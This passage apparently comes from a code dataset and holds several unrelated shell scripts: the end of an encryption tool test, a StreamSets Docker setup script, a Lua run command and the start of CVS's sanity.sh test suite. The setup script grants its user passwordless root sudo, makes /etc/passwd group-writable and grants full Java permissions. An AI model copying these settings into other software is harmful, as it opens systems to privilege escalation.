/dev/null )\n\tif [ $? -eq 0 ]; then\n\t\tprintf \"OK.\\n\"\n\telse\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\tprintf \"[3/4] Running test... \"\n\n\t# ENCRYPT/DECRYPT \"dummy_raw\" into \"dummy_raw_out\"\n\t./mbc -ek \"$test_key\" < dummy_raw | ./mbc -dk \"$test_key\" > dummy_raw_out\n\tif [ $? -ne 0 ]; then\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\t# DECRYPT/ENCRYPT \"dummy_hex\" into \"dummy_hex_out\"\n\t./mbc -dxk \"$test_key\" < dummy_hex | ./mbc -exnk \"$test_key\" > dummy_hex_out\n\tif [ $? -eq 0 ]; then\n\t\tprintf \"DONE.\\n\"\n\telse\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\tprintf \"[4/4] Comparing results... \"\n\n\t# Compare output with original\n\tcmp -s dummy_raw dummy_raw_out && cmp -s dummy_hex dummy_hex_out\n\tif [ $? -eq 0 ]; then\n\t\tprintf \"OK.\\n\"\n\telse\n\t\tprintf \"ERR!\\n\"\n\t\treturn 1\n\tfi\n\n\treturn 0\n}\n\ntest_mbc \"$@\"\ntest_result=$?\nrm dummy_*\n\nif [ \"$test_result\" -eq \"0\" ]; then\n\tprintf \"\\nTEST PASSED!\\n\"\n\texit 0\nelse\n\tprintf \"\\nTEST FAILED!\\n\"\n\texit 1\nfi"} {"text": "#!/usr/bin/env bash\n# Copyright 2017 StreamSets Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nset -e\nset -x\n\n# Check if SDC dist already exists, if not create its artifact of things.\nif [ ! -d \"${SDC_DIST}\" ]; then\n\n # Download and extract SDC.\n for f in /tmp/*.tgz; do\n [ -e \"$f\" ] && mv \"$f\" /tmp/sdc.tgz || curl -o /tmp/sdc.tgz -L \"${SDC_URL}\"\n break\n done\n\n mkdir \"${SDC_DIST}\"\n tar xf /tmp/sdc.tgz --strip-components 1 -C \"${SDC_DIST}\"\n rm -rf /tmp/sdc.tgz\n\n # Move configuration to /etc/sdc\n mv \"${SDC_DIST}/etc\" \"${SDC_CONF}\"\nfi;\n\n# SDC-11575 -- support for arbitrary userIds as per OpenShift\n# We use Apache Hadoop code in file system related stagelibs to lookup the\n# current user name, which fails when run in OpenShift.\n# It fails because containers in OpenShift run as an ephemeral uid for\n# security purposes, and that uid does not show up in /etc/passwd.\naddgroup --system --gid ${SDC_GID} ${SDC_USER} && \\\n adduser --system --disabled-password -u ${SDC_UID} -G ${SDC_USER} ${SDC_USER}\n\naddgroup ${SDC_USER} root && \\\n chgrp -R 0 \"${SDC_DIST}\" \"${SDC_CONF}\" && \\\n chmod -R g=u \"${SDC_DIST}\" \"${SDC_CONF}\" && \\\n # setgid bit on conf dir to preserve group on sed -i\n chmod g+s \"${SDC_CONF}\" && \\\n chmod g=u /etc/passwd\n\n# Update /etc/sudoers to include SDC user.\necho \"${SDC_USER} ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n# Add logging to stdout to make logs visible through `docker logs`.\nsed -i 's|INFO, streamsets|INFO, streamsets,stdout|' \"${SDC_CONF}/sdc-log4j.properties\"\n\n# Workaround to address SDC-8005.\nif [ -d \"${SDC_DIST}/user-libs\" ]; then\n cp -R \"${SDC_DIST}/user-libs\" \"${USER_LIBRARIES_DIR}\"\nfi\n\n# Create necessary directories.\nmkdir -p /mnt \\\n \"${SDC_DATA}\" \\\n \"${SDC_LOG}\" \\\n \"${SDC_RESOURCES}\" \\\n \"${USER_LIBRARIES_DIR}\"\n\nchgrp -R 0 \"${SDC_RESOURCES}\" \"${USER_LIBRARIES_DIR}\" \"${SDC_LOG}\" \"${SDC_DATA}\" && \\\n chmod -R g=u \"${SDC_RESOURCES}\" \"${USER_LIBRARIES_DIR}\" \"${SDC_LOG}\" \"${SDC_DATA}\"\n\n# Update sdc-security.policy to include the custom stage library directory.\ncat >> \"${SDC_CONF}/sdc-security.policy\" << EOF\n\n// custom stage library directory\ngrant codebase \"file:///opt/streamsets-datacollector-user-libs/-\" {\n permission java.security.AllPermission;\n};\nEOF\n\n# Use short option -s as long option --status is not supported on alpine linux.\nsed -i 's|--status|-s|' \"${SDC_DIST}/libexec/_stagelibs\"\n\n# Set distribution channel variable\nsed -i '/^export SDC_DISTRIBUTION_CHANNEL=*/d' \"${SDC_DIST}/libexec/sdcd-env.sh\"\nsed -i '/^export SDC_DISTRIBUTION_CHANNEL=*/d' \"${SDC_DIST}/libexec/sdc-env.sh\"\necho -e \"\\nexport SDC_DISTRIBUTION_CHANNEL=docker\" >> ${SDC_DIST}/libexec/sdc-env.sh\necho -e \"\\nexport SDC_DISTRIBUTION_CHANNEL=docker\" >> ${SDC_DIST}/libexec/sdcd-env.sh\n\n\n# Needed for OpenShift deployment\nsed -i 's/http.realm.file.permission.check=true/http.realm.file.permission.check=false/' ${SDC_CONF}/sdc.properties\n\n# Create VERSION file\necho \"${SDC_VERSION}\" > \"${SDC_DIST}/VERSION\""} {"text": "scripts/run_msr_sort_bid.sh\n\ndataset=/disk/scratch/XingxingZhang/treelstm/dataset/msr/msr.dep.100.bid.h5\nth sort_large_hdf5_bid.lua --dataset $dataset --sort -1 --batchSize 64 --bidirectional"} {"text": "head/contrib/cvs/src/sanity.sh\n#! /bin/sh\n:\n#\tsanity.sh -- a growing testsuite for cvs.\n#\n# The copyright notice said: \"Copyright (C) 1992, 1993 Cygnus Support\"\n# I'm not adding new copyright notices for new years as our recent \n# practice has been to include copying terms without copyright notices.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# Original Author: \n\n# usage:\nusage ()\n{\n echo \"Usage: `basename $0` --help\"\n echo \"Usage: `basename $0` [-eklrv] [-f FROM-TEST] [-h HOSTNAME] CVS-TO-TEST [TESTS-TO-RUN...]\"\n}\n\nexit_usage ()\n{\n usage 1>&2\n exit 2\n}\n\nexit_help ()\n{\n usage\n echo\n echo \"-H|--help Display this text.\"\n echo \"-e|--skipfail Treat tests that would otherwise be nonfatally skipped\"\n echo \" for reasons like missing tools as failures, exiting\"\n echo \" with an error message. Also treat warnings as\"\n echo \" failures.\"\n echo \"-f FROM-TEST Run TESTS-TO-RUN, skipping all tests in the list before\"\n echo \" FROM-TEST.\"\n echo \"-h HOSTNAME Use :ext:HOSTNAME to run remote tests rather than\"\n echo \" :fork:. Implies --remote and assumes that \\$TESTDIR\"\n echo \" resolves to the same directory on both the client and\"\n echo \" the server.\"\n echo \"-k|--keep Try to keep directories created by individual tests\"\n echo \" around, exiting after the first test which supports\"\n echo \" --keep.\"\n echo \"-l|--link-root\"\n echo \" Test CVS using a symlink to a real CVSROOT.\"\n echo \"-r|--remote Test remote instead of local cvs.\"\n echo \"-v|--verbose List test names as they are executed.\"\n echo\n echo \"CVS-TO-TEST The path to the CVS executable to be tested.\"\n echo \"TESTS-TO-RUN The names of the tests to run (defaults to all tests).\"\n exit 2\n}\n\n# See TODO list at end of file.\n\n# required to make this script work properly.\nunset CVSREAD\n\n# This will cause malloc to run slower but should also catch some common errors\n# when CVS is linked with glibc 2.x.\nMALLOC_CHECK_=2; export MALLOC_CHECK_\n\n# We want to invoke a predictable set of i18n behaviors, not whatever\n# the user running this script might have set.\n# In particular:\n# 'sort' and tabs and spaces (LC_COLLATE).\n# Messages from getopt (LC_MESSAGES) (in the future, CVS itself might \n# also alter its messages based on LC_MESSAGES).\nLANG=C\nexport LANG\nLC_ALL=C\nexport LC_ALL\n\n\n#\n# Initialize the test counts.\n#\npassed=0\nskipped=0\nwarnings=0\n\n\n\n#\n# read our options\n#\nunset fromtest\nunset remotehost\nkeep=false\nlinkroot=false\nremote=false\nskipfail=false\nverbose=false\nwhile getopts ef:h:Hklrv-: option ; do\n # convert the long opts to short opts\n if test x$option = x-; then\n\tcase \"$OPTARG\" in\n\t [hH]|[hH][eE]|[hH][eE][lL]|[hH][eE][lL][pP])\n\t\toption=H;\n\t\tOPTARG=\n\t\t;;\n\t [kK]|[kK][eE]|[kK][eE][eE]|[kK][eE][eE][pP])\n\t\toption=k;\n\t\tOPTARG=\n\t\t;;\n\t l|li|lin|link|link-|link-r]|link-ro|link-roo|link-root)\n\t\toption=l;\n\t\tOPTARG=\n\t\t;;\n\t [rR]|[rR][eE]|[rR][eE][mM]|[rR][eE][mM][oO]|[rR][eE][mM][oO][tT]|[rR][eE][mM][oO][tT][eE])\n\t\toption=k;\n\t\tOPTARG=\n\t\t;;\n\t s|sk|ski|skip|skipf|skipfa|skipfai|skipfail)\n\t\toption=e\n\t\tOPTARG=\n\t\t;;\n\t v|ve|ver|verb|verbo|verbos|verbose)\n\t\toption=v\n\t\tOPTARG=\n\t\t;;\n\t *)\n\t\toption=\\?\n\t\tOPTARG=\n\tesac\n fi\n case \"$option\" in\n\te)\n\t skipfail=:\n\t ;;\n\tf)\n\t fromtest=\"$OPTARG\"\n\t ;;\n\th)\n\t # Set a remotehost to run the remote tests on via :ext:\n\t # Implies `-r' and assumes that $TESTDIR resolves to the same\n\t # directory on the client and the server.\n\t remotehost=\"$OPTARG\"\n\t remote=:\n\t ;;\n\tH)\n\t exit_help\n\t ;;\n\tk)\n\t # The -k (keep) option will eventually cause all the tests to\n\t # leave around the contents of the /tmp directory; right now only\n\t # some implement it. Not originally intended to be useful with\n\t # more than one test, but this should work if each test uses a\n\t # uniquely named dir (use the name of the test).\n\t keep=:\n\t ;;\n\tl)\n\t linkroot=:\n\t ;;\n\tr)\n\t remote=:\n\t ;;\n\tv)\n\t verbose=:\n\t ;;\n\t\\?)\n\t exit_usage\n\t ;;\n esac\ndone\n\n# boot the arguments we used above\nwhile test $OPTIND -gt 1 ; do\n shift\n OPTIND=`expr $OPTIND - 1`\ndone\n\n# Use full path for CVS executable, so that CVS_SERVER gets set properly\n# for remote.\ncase $1 in\n\"\")\n exit_usage\n ;;\n/*)\n testcvs=$1\n ;;\n*)\n testcvs=`pwd`/$1\n ;;\nesac\nshift\n\n# If $remotehost is set, warn if $TESTDIR isn't since we are pretty sure\n# that its default value of `/tmp/cvs-sanity' will not resolve to the same\n# directory on two different machines.\nif test -n \"$remotehost\" && test -z \"$TESTDIR\"; then\n echo \"WARNING: CVS server hostname is set and \\$TESTDIR is not. If\" >&2\n echo \"$remotehost is not the local machine, then it is unlikely that\" >&2\n echo \"the default value assigned to \\$TESTDIR will resolve to the same\" >&2\n echo \"directory on both this client and the CVS server.\" >&2\nfi\n\n\n\n###\n### GUTS\n###\n\n# \"debugger\"\n#set -x\n\necho 'This test should produce no other output than this message, and a final \"OK\".'\necho '(Note that the test can take an hour or more to run and periodically stops'\necho 'for as long as one minute. Do not assume there is a problem just because'\necho 'nothing seems to happen for a long time. If you cannot live without'\necho 'running status, use the -v option or try the command:'\necho \"\\`tail -f check.log' from another window.)\"\n\n# Regexp to match what CVS will call itself in output that it prints.\n# FIXME: we don't properly quote this--if the name contains . we'll\n# just spuriously match a few things; if the name contains other regexp\n# special characters we are probably in big trouble.\nPROG=`basename ${testcvs}`\n\n# Match the hostname\nhostname=\"[-_.a-zA-Z0-9]*\"\n\n# Regexp to match the name of a temporary file (from cvs_temp_name).\n# This appears in certain diff output.\ntempname=\"[-a-zA-Z0-9/.%_]*\"\n\n# Regexp to match a date in RFC822 format (as amended by RFC1123).\nRFCDATE=\"[a-zA-Z0-9 ][a-zA-Z0-9 ]* [0-9:][0-9:]* -0000\"\nRFCDATE_EPOCH=\"1 Jan 1970 00:00:00 -0000\"\n\n# Regexp to match a date in standard Unix format as used by rdiff\n# FIXCVS: There's no reason for rdiff to use a different date format\n# than diff does\nDATE=\"[a-zA-Z]* [a-zA-Z]* [ 1-3][0-9] [0-9:]* [0-9]*\"\n\n# Which directories should Which and find_tool search for executables?\nSEARCHPATH=$PATH:/usr/local/bin:/usr/contrib/bin:/usr/contrib:/usr/gnu/bin:/local/bin:/local/gnu/bin:/gnu/bin:/sw/bin:/usr/pkg/bin\n\n# Do not assume that `type -p cmd` is portable\n# Usage: Which [-a] [-x|-f|-r] prog [$SEARCHPATH:/with/directories:/to/search]\nWhich() {\n # Optional first argument for file type, defaults to -x.\n # Second argument is the file or directory to be found.\n # Third argument is the PATH to search.\n # By default, print only the first file that matches,\n # -a will cause all matches to be printed.\n notevery=:\n if [ \"x$1\" = \"x-a\" ]; then notevery=false; shift; fi\n case \"$1\" in\n -*) t=$1; shift ;;\n *) t=-x ;;\n esac\n case \"$1\" in\n # FIXME: Someday this may need to be fixed\n # to deal better with C:\\some\\path\\to\\ssh values...\n /*) test $t $1 && echo $1 ;;\n *) for d in `IFS=:; echo ${2-$SEARCHPATH}`\n do\n test $t $d/$1 && { echo $d/$1; if $notevery; then break; fi; }\n done\n ;;\n esac\n}\n\n\n# On cygwin32, we may not have /bin/sh.\nif test -r /bin/sh; then\n TESTSHELL=\"/bin/sh\"\nelse\n TESTSHELL=`Which -f sh`\n if test ! -r \"$TESTSHELL\"; then\n TESTSHELL=\"/bin/sh\"\n fi\nfi\n\n# FIXME: try things (what things? checkins?) without -m.\n#\n# Some of these tests are written to expect -Q. But testing with\n# -Q is kind of bogus, it is not the way users actually use CVS (usually).\n# So new tests probably should invoke ${testcvs} directly, rather than ${CVS}.\n# and then they've obviously got to do something with the output....\n#\nCVS=\"${testcvs} -Q\"\n\nLOGFILE=`pwd`/check.log\n\n# Save the previous log in case the person running the tests decides\n# they want to look at it. The extension \".plog\" is chosen for consistency\n# with dejagnu.\nif test -f check.log; then\n\tmv check.log check.plog\nfi\n\n# Create the log file so check.log can be tailed almost immediately after\n# this script is started. Otherwise it can take up to a minute or two before\n# the log file gets created when $remotehost is specified on some systems,\n# which makes for a lot of failed `tail -f' attempts.\ntouch check.log\n\n# Workaround any X11Forwarding by ssh. Otherwise this text:\n# Warning: No xauth data; using fake authentication data for X11 forwarding.\n# has been known to end up in the test results below\n# causing the test to fail.\n[ -n \"$DISPLAY\" ] && unset DISPLAY\n \n# The default value of /tmp/cvs-sanity for TESTDIR is dubious,\n# because it loses if two people/scripts try to run the tests\n# at the same time. Some possible solutions:\n# 1. Use /tmp/cvs-test$$. One disadvantage is that the old\n# cvs-test* directories would pile up, because they wouldn't\n# necessarily get removed.\n# 2. Have everyone/everything running the testsuite set\n# TESTDIR to some appropriate directory.\n# 3. Have the default value of TESTDIR be some variation of\n# `pwd`/cvs-sanity. The biggest problem here is that we have\n# been fairly careful to test that CVS prints in messages the\n# actual pathnames that we pass to it, rather than a different\n# pathname for the same directory, as may come out of `pwd`.\n# So this would be lost if everything was `pwd`-based. I suppose\n# if we wanted to get baroque we could start making symlinks\n# to ensure the two are different.\n: ${CVS_RSH=rsh}; export CVS_RSH\nif test -n \"$remotehost\"; then\n # We need to set $tmp on the server since $TMPDIR is compared against\n\t# messages generated by the server.\n\ttmp=`$CVS_RSH $remotehost 'cd /tmp; /bin/pwd || pwd' 2>/dev/null`\n\tif test $? != 0; then\n\t echo \"$CVS_RSH $remotehost failed.\" >&2\n\t exit 1\n\tfi\nelse\n\ttmp=`(cd /tmp; /bin/pwd || pwd) 2>/dev/null`\nfi\n\n# Now:\n#\t1) Set TESTDIR if it's not set already\n#\t2) Remove any old test remnants\n#\t3) Create $TESTDIR\n#\t4) Normalize TESTDIR with `cd && (/bin/pwd || pwd)`\n#\t (This will match CVS output later)\n: ${TESTDIR=$tmp/cvs-sanity}\n# clean any old remnants (we need the chmod because some tests make\n# directories read-only)\nif test -d ${TESTDIR}; then\n chmod -R a+wx ${TESTDIR}\n rm -rf ${TESTDIR}\nfi\n# These exits are important. The first time I tried this, if the `mkdir && cd`\n# failed then the build directory would get blown away. Some people probably\n# wouldn't appreciate that.\nmkdir ${TESTDIR} || exit 1\ncd ${TESTDIR} || exit 1\n# Ensure $TESTDIR is absolute\nif echo \"${TESTDIR}\" |grep '^[^/]'; then\n # Don't resolve this unless we have to. This keeps symlinks intact. This\n # is important at least when testing using -h $remotehost, because the same\n # value for $TESTDIR must resolve to the same directory on the client and\n # the server and we likely used Samba, and possibly symlinks, to do this.\n TESTDIR=`(/bin/pwd || pwd) 2>/dev/null`\nfi\n\nif test -z \"${TESTDIR}\" || echo \"${TESTDIR}\" |grep '^[^/]'; then\n echo \"Unable to resolve TESTDIR to an absolute directory.\" >&2\n exit 1\nfi\ncd ${TESTDIR}\n\n# Now set $TMPDIR if the user hasn't overridden it.\n#\n# We use a $TMPDIR under $TESTDIR by default so that two tests may be run at\n# the same time without bumping heads without requiring the user to specify\n# more than $TESTDIR. See the test for leftover cvs-serv* directories near the\n# end of this script at the end of \"The big loop\".\n: ${TMPDIR=$TESTDIR/tmp}\nexport TMPDIR\nif test -d $TMPDIR; then :; else\n mkdir $TMPDIR\nfi\n\n# Make sure various tools work the way we expect, or try to find\n# versions that do.\n: ${AWK=awk}\n: ${EXPR=expr}\n: ${ID=id}\n: ${TR=tr}\n\n# Keep track of tools that are found, but do NOT work as we hope\n# in order to avoid them in future\nbadtools=\nset_bad_tool ()\n{\n badtools=$badtools:$1\n}\nis_bad_tool ()\n{\n case \":$badtools:\" in *:$1:*) return 0 ;; *) return 1 ; esac\n}\n\nversion_test ()\n{\n vercmd=$1\n verbad=:\n if RES=`$vercmd --version &1`; then\n if test \"X$RES\" != \"X--version\" && test \"X$RES\" != \"X\" ; then\n echo \"$RES\"\n verbad=false\n fi\n fi\n if $verbad; then\n echo \"The command \\`$vercmd' does not support the --version option.\"\n fi\n # It does not really matter that --version is not supported\n return 0\n}\n\n# Try to find a tool that satisfies all of the tests.\n# Usage: list:of:colon:separated:alternatives test1 test2 test3 test4...\n# Example: find_tool awk:gawk:nawk awk_tooltest1 awk_tooltest2\nfind_tool ()\n{\n default_TOOL=$1\n echo find_tool: ${1+\"$@\"} >>$LOGFILE\n cmds=\"`IFS=:; echo $1`\"; shift; tooltests=\"${1+$@}\"\n if test -z \"$tooltests\"; then tooltests=version_test; fi\n clist=; for cmd in $cmds; do clist=\"$clist `Which -a $cmd`\"; done\n # Make sure the default tool is just the first real command name\n for default_TOOL in $clist `IFS=:; echo $default_TOOL`; do break; done\n TOOL=\"\"\n for trytool in $clist ; do\n pass=:\n for tooltest in $tooltests; do\n result=`eval $tooltest $trytool`\n rc=$?\n echo \"Running $tooltest $trytool\" >>$LOGFILE\n if test -n \"$result\"; then\n\techo \"$result\" >>$LOGFILE\n fi\n if test \"$rc\" = \"0\"; then\n echo \"PASS: $tooltest $trytool\" >>$LOGFILE\n elif test \"$rc\" = \"77\"; then\n echo \"MARGINAL: $tooltest $trytool; rc=$rc\" >>$LOGFILE\n TOOL=$trytool\n\tpass=false\n else\n set_bad_tool $trytool\n echo \"FAIL: $tooltest $trytool; rc=$rc\" >>$LOGFILE\n\tpass=false\n fi\n done\n if $pass; then\n echo $trytool\n return 0\n fi\n done\n if test -n \"$TOOL\"; then\n echo \"Notice: The default version of \\`$default_TOOL' is defective.\" >>$LOGFILE\n echo \"using \\`$TOOL' and hoping for the best.\" >>$LOGFILE\n echo \"Notice: The default version of \\`$default_TOOL' is defective.\" >&2\n echo \"using \\`$TOOL' and hoping for the best.\" >&2\n echo $TOOL\n else\n echo $default_TOOL\n fi\n} \n\nid_tool_test ()\n{\n id=$1\n if $id -u >/dev/null 2>&1 && $id -un >/dev/null 2>&1; then\n return 0\n else\n echo \"Running these tests requires an \\`id' program that understands the\"\n echo \"-u and -n flags. Make sure that such an id (GNU, or many but not\"\n echo \"all vendor-supplied versions) is in your path.\"\n return 1\n fi\n}\n\nID=`find_tool id version_test id_tool_test`\necho \"Using ID=$ID\" >>$LOGFILE\n\n# You can't run CVS as root; print a nice error message here instead\n# of somewhere later, after making a mess.\nfor pass in false :; do\n case \"`$ID -u 2>/dev/null`\" in\n \"0\")\n echo \"Test suite does not work correctly when run as root\" >&2\n exit 1\n ;;\n\n *)\n break\n ;;\n esac\ndone\n\n# Cause NextStep 3.3 users to lose in a more graceful fashion.\nexpr_tooltest1 ()\n{\nexpr=$1\nif $expr 'abc\ndef' : 'abc\ndef' >/dev/null; then\n # good, it works\n return 0\nelse\n echo 'Running these tests requires an \"expr\" program that can handle'\n echo 'multi-line patterns. Make sure that such an expr (GNU, or many but'\n echo 'not all vendor-supplied versions) is in your path.'\n return 1\nfi\n}\n\n# Warn SunOS, SysVr3.2, etc., users that they may be partially losing\n# if we can't find a GNU expr to ease their troubles...\nexpr_tooltest2 ()\n{\nexpr=$1\nif $expr 'a\nb' : 'a\nc' >/dev/null; then\n echo 'WARNING: you are using a version of expr that does not correctly'\n echo 'match multi-line patterns. Some tests may spuriously pass or fail.'\n echo 'You may wish to make sure GNU expr is in your path.'\n return 1\nelse\n return 0\nfi\n}\n\nexpr_create_bar ()\n{\necho 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' >${TESTDIR}/foo\ncat ${TESTDIR}/foo ${TESTDIR}/foo ${TESTDIR}/foo ${TESTDIR}/foo >${TESTDIR}/bar\ncat ${TESTDIR}/bar ${TESTDIR}/bar ${TESTDIR}/bar ${TESTDIR}/bar >${TESTDIR}/foo\ncat ${TESTDIR}/foo ${TESTDIR}/foo ${TESTDIR}/foo ${TESTDIR}/foo >${TESTDIR}/bar\nrm -f ${TESTDIR}/foo\n}\n\nexpr_tooltest3 ()\n{\nexpr=$1\n# More SunOS lossage...\ntest ! -f ${TESTDIR}/bar && expr_create_bar\nif $expr \"`cat ${TESTDIR}/bar`\" : \"`cat ${TESTDIR}/bar`\" >/dev/null; then\n : good, it works\nelse\n echo 'WARNING: you are using a version of expr that does not correctly'\n echo 'match large patterns. Some tests may spuriously pass or fail.'\n echo 'You may wish to make sure GNU expr is in your path.'\n return 1\nfi\nif $expr \"`cat ${TESTDIR}/bar`x\" : \"`cat ${TESTDIR}/bar`y\" >/dev/null; then\n echo 'WARNING: you are using a version of expr that does not correctly'\n echo 'match large patterns. Some tests may spuriously pass or fail.'\n echo 'You may wish to make sure GNU expr is in your path.'\n return 1\nfi\n# good, it works\nreturn 0\n}\n\n# That we should have to do this is total bogosity, but GNU expr\n# version 1.9.4-1.12 uses the emacs definition of \"$\" instead of the unix\n# (e.g. SunOS 4.1.3 expr) one. Rumor has it this will be fixed in the\n# next release of GNU expr after 1.12 (but we still have to cater to the old\n# ones for some time because they are in many linux distributions).\nENDANCHOR=\"$\"\nexpr_set_ENDANCHOR ()\n{\nexpr=$1\nENDANCHOR=\"$\"\nif $expr 'abc\ndef' : 'abc$' >/dev/null; then\n ENDANCHOR='\\'\\'\n echo \"Notice: An ENDANCHOR of dollar does not work.\"\n echo \"Using a workaround for GNU expr versions 1.9.4 thru 1.12\"\nfi\nreturn 0\n}\n\n# Work around another GNU expr (version 1.10-1.12) bug/incompatibility.\n# \".\" doesn't appear to match a newline (it does with SunOS 4.1.3 expr).\n# Note that the workaround is not a complete equivalent of .* because\n# the first parenthesized expression in the regexp must match something\n# in order for expr to return a successful exit status.\n# Rumor has it this will be fixed in the\n# next release of GNU expr after 1.12 (but we still have to cater to the old\n# ones for some time because they are in many linux distributions).\nDOTSTAR='.*'\nexpr_set_DOTSTAR ()\n{\nexpr=$1\nDOTSTAR='.*'\nif $expr 'abc\ndef' : \"a${DOTSTAR}f\" >/dev/null; then\n : good, it works\nelse\n DOTSTAR='\\(.\\|\n\\)*'\n echo \"Notice: DOTSTAR changed from sane \\`.*' value to \\`$DOTSTAR\\`\"\n echo \"to workaround GNU expr version 1.10 thru 1.12 bug where \\`.'\"\n echo \"does not match a newline.\"\nfi\nreturn 0\n}\n\n# Now that we have DOTSTAR, make sure it works with big matches\nexpr_tooltest_DOTSTAR ()\n{\nexpr=$1\ntest ! -f ${TESTDIR}/bar && expr_create_bar\nif $expr \"`cat ${TESTDIR}/bar`\" : \"${DOTSTAR}xyzABC${DOTSTAR}$\" >/dev/null; then\n # good, it works\n return 0\nelse\n echo 'WARNING: you are using a version of expr that does not correctly'\n echo 'match large patterns. Some tests may spuriously pass or fail.'\n echo 'You may wish to make sure GNU expr is in your path.'\n return 77\nfi\n}\n\n# FreeBSD 5.2 and 6.1 support 'expr [-e] expression' \n# They get confused unless '--' is used before the expressions\n# when those expressions begin with a '-' character, such as the\n# output of an ls -l command. The EXPR_COMPAT environment variable may\n# be used to go back to the non-POSIX behavior as an alternative.\n# (GNU expr appears to accept the '--' argument and work correctly or\n# not have it and still get the results we want.)\nexprDASHDASH='false'\nexpr_set_DASHDASH ()\n{\nexpr=$1\nexprDASHDASH='false'\n# Not POSIX, but works on a lot of expr versions.\nif $expr \"-rw-rw-r--\" : \"-rw-rw-r--\" >/dev/null 2>&1; then\n # good, it works\n return 0\nelse\n # Do things in the POSIX manner.\n if $expr -- \"-rw-rw-r--\" : \"-rw-rw-r--\" >/dev/null 2>&1; then\n exprDASHDASH=':'\n return 0\n else\n echo 'WARNING: Your $expr does not correctly handle'\n echo 'leading \"-\" characters in regular expressions to'\n echo 'be matched. You may wish to see if there is an'\n echo 'environment variable or other setting to allow'\n echo 'POSIX functionality to be enabled.'\n return 77\n fi\nfi\n}\n\n\nEXPR=`find_tool ${EXPR}:gexpr \\\n version_test expr_tooltest1 expr_tooltest2 expr_tooltest3 \\\nexpr_set_ENDANCHOR expr_set_DOTSTAR expr_tooltest_DOTSTAR`\n\n# Set the ENDANCHOR and DOTSTAR for the chosen expr version.\nexpr_set_ENDANCHOR ${EXPR} >/dev/null\nexpr_tooltest_DOTSTAR ${EXPR} >/dev/null\n\n# Is $EXPR a POSIX or non-POSIX implementation\n# with regard to command-line arguments?\nexpr_set_DASHDASH ${EXPR}\n$exprDASHDASH && EXPR=\"$EXPR --\"\n\necho \"Using EXPR=$EXPR\" >>$LOGFILE\necho \"Using ENDANCHOR=$ENDANCHOR\" >>$LOGFILE\necho \"Using DOTSTAR=$DOTSTAR\" >>$LOGFILE\n\n# Cleanup\nrm -f ${TESTDIR}/bar\n\n# Work around yet another GNU expr (version 1.10) bug/incompatibility.\n# \"+\" is a special character, yet for unix expr (e.g. SunOS 4.1.3)\n# it is not. I doubt that POSIX allows us to use \\+ and assume it means\n# (non-special) +, so here is another workaround\n# Rumor has it this will be fixed in the\n# next release of GNU expr after 1.12 (but we still have to cater to the old\n# ones for some time because they are in many linux distributions).\nPLUS='+'\nif $EXPR 'a +b' : \"a ${PLUS}b\" >/dev/null; then\n : good, it works\nelse\n PLUS='\\+'\nfi\n\n# Likewise, for ?\nQUESTION='?'\nif $EXPR 'a?b' : \"a${QUESTION}b\" >/dev/null; then\n : good, it works\nelse\n QUESTION='\\?'\nfi\n\n# Now test the username to make sure it contains only valid characters\nusername=`$ID -un`\nif $EXPR \"${username}\" : \"${username}\" >/dev/null; then\n : good, it works\nelse\n echo \"Test suite does not work correctly when run by a username\" >&2\n echo \"containing regular expression meta-characters.\" >&2\n exit 1\nfi\n\n# Only 8 characters of $username appear in some output.\nif test `echo $username |wc -c` -gt 8; then\n username8=`echo $username |sed 's/^\\(........\\).*/\\1/'`\nelse\n username8=$username\nfi\n\n# Rarely, we need to match any username, not just the name of the user\n# running this test.\n#\n# I'm not really sure what characters should be here. a-zA-Z obviously.\n# People complained when 0-9 were not allowed in usernames. Other than that\n# I'm not sure.\nanyusername=\"[-a-zA-Z0-9][-a-zA-Z0-9]*\"\n\n# now make sure that tr works on NULs\ntr_tooltest1 ()\n{\ntr=$1\nif $EXPR `echo \"123\" | $tr '2' '\\0'` : \"123\" >/dev/null 2>&1; then\n echo 'Warning: you are using a version of tr which does not correctly'\n echo 'handle NUL bytes. Some tests may spuriously pass or fail.'\n echo 'You may wish to make sure GNU tr is in your path.'\n return 77\nfi\n# good, it works\nreturn 0\n}\n\nTR=`find_tool ${TR}:gtr version_test tr_tooltest1`\necho \"Using TR=$TR\" >>$LOGFILE\n\n# Awk testing\n\nawk_tooltest1 ()\n{\nawk=$1\n$awk 'BEGIN {printf(\"one\\ntwo\\nthree\\nfour\\nfive\\nsix\")}' abc\nif $EXPR \"`cat abc`\" : \\\n'one\ntwo\nthree\nfour\nfive\nsix'; then\n rm abc\n return 0\nelse\n rm abc\n echo \"Notice: awk BEGIN clause or printf is not be working properly.\"\n return 1\nfi\n}\n\n# Format item %c check\nawk_tooltest2 ()\n{\nawk=$1\n$awk 'BEGIN { printf \"%c%c%c\", 2, 3, 4 }' abc\nif $EXPR \"`cat abc`\" : \"123\" ; then\n : good, found it\nelse\n echo \"Notice: awk format %c string may not be working properly.\"\n rm abc\n return 77\nfi\nrm abc\nreturn 0\n}\n\nAWK=`find_tool gawk:nawk:awk version_test awk_tooltest1 awk_tooltest2`\necho \"Using AWK=$AWK\" >>$LOGFILE\n\n# Test that $1 works as a remote shell. If so, set $host, $CVS_RSH, &\n# $save_CVS_RSH to match and return 0. Otherwise, set $skipreason and return\n# 77.\ndepends_on_rsh ()\n{\n host=${remotehost-\"`hostname`\"}\n result=`$1 $host 'echo test'`\n rc=$?\n if test $? != 0 || test \"x$result\" != \"xtest\"; then\n skipreason=\"\\`$1 $host' failed rc=$rc result=$result\"\n return 77\n fi\n\n 